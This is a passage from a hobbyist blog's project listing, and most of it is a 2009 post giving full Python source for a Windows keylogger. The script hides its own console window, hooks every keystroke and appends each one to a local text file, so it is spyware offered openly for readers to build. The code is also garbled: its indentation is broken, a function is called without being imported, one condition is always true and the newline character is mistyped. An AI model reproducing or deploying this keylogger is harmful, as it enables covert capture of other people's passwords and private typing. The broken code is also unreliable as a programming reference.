Tinkernut Labs

  • Home
  • Projects
  • Blog
  • Store
  • Projects


  • How To Make A Simple Python Keylogger

    July 17, 2013 // davisde // Hacks, Programming Tips 17 Responses


    Python is a really easy programming language for beginners. What better way to showcase it’s range of abilities than making a simple keylogger.

  • How To Make A Keylogger

    September 11, 2009 // davisde // Hacks, Programming Tips 38 Responses


    KEYLOGGER SOURCECODE AND

    – Download Python: http://www.python.org/

    – Download Pyhook: pyhook.sourceforge.net

    – Download Python for Windows Extensions: http://sourceforge.net/projects/pywin32/

    SOURCE:

    import win32api
    import win32console
    import win32gui
    
    import pythoncom, pyHook
    
    win = win32console.GetConsoleWindow()
    win32gui.ShowWindow(win,0)
    
    def OnKeyboardEvent(event):
     if event.Ascii==5:
            
    _exit(1)
    
     if event.Ascii != 0 or 8:
     f=open('c:output.txt','r')
           
     buffer=f.read()
     f.close()
            
    f=open('c:output.txt','w')
     keylogs=chr(event.Ascii)
           
     if event.Ascii==13:
     keylogs='/n'
     buffer += 
    keylogs
     f.write(buffer)
     f.close()
    
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()

Follow Us


  • Twitter
  • YouTube
  • Facebook

Recent Posts


  • New Raspberry Pi Microcontroller Announced!! January 21, 2021
  • Comments Show: DIY Vintage Spotify Streaming Radio June 3, 2017
  • DIY Vintage Spotify Radio Using A Raspberry Pi May 27, 2017
  • Comments Show: Raspberry Pi Radio Build May 20, 2017
  • Raspberry Pi Radio Build: Problems & Solutions – Tinkernut Workbench May 13, 2017

Terms and Conditions - Privacy Policy